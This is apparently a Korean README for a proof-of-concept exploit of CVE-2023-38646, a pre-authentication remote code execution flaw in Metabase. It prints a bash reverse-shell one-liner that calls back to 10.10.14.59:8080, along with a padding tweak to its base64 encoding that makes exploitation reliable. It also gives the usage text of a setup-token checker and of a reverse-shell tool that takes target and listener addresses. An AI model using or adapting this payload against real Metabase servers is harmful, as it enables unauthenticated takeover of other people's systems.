
CVE-2023-38646에 대한 PoC 익스플로잇, Metabase에서 사전 인증 RCE. 안정적인 익스플로잇을 위한 base64 인코딩 수정이 포함된 리버스 셸 페이로드 생성기를 포함합니다.
원본 스크립트는 securezeron에서 가져왔습니다.
테스트 과정에서 이 PoC가 생성한 리버스 셸이 base64 인코딩 후 끝의 '=' 문자 때문에 활용에 실패하는 것을 발견했습니다. 이를 약간 수정하여 문제를 해결했습니다.
# 원래의 reverse shell 페이로드를 생성하는 코드
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
# 수정된 reverse shell 페이로드를 생성하는 코드 ('=' 없음)
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
└─# python CVE-2023-38646-POC.py -h
usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]
설정 토큰 확인
options:
-h, --help 도움말 메시지를 표시하고 종료합니다
--ip IP IP 주소
--list LIST IP 주소 목록이 포함된 파일 이름
└─# python CVE-2023-38646-Reverse-Shell.py -h
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
설정 토큰 확인
options:
-h, --help 도움말 메시지를 표시하고 종료합니다
--rhost RHOST Metabase 서버 IP 주소 (http:// 또는 https:// 및 포트 번호 포함)
--lhost LHOST 리스너 IP 주소
--lport LPORT 리스너 포트 (기본값은 4444)
취약점에 대한 자세한 정보는 https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/를 참조하세요.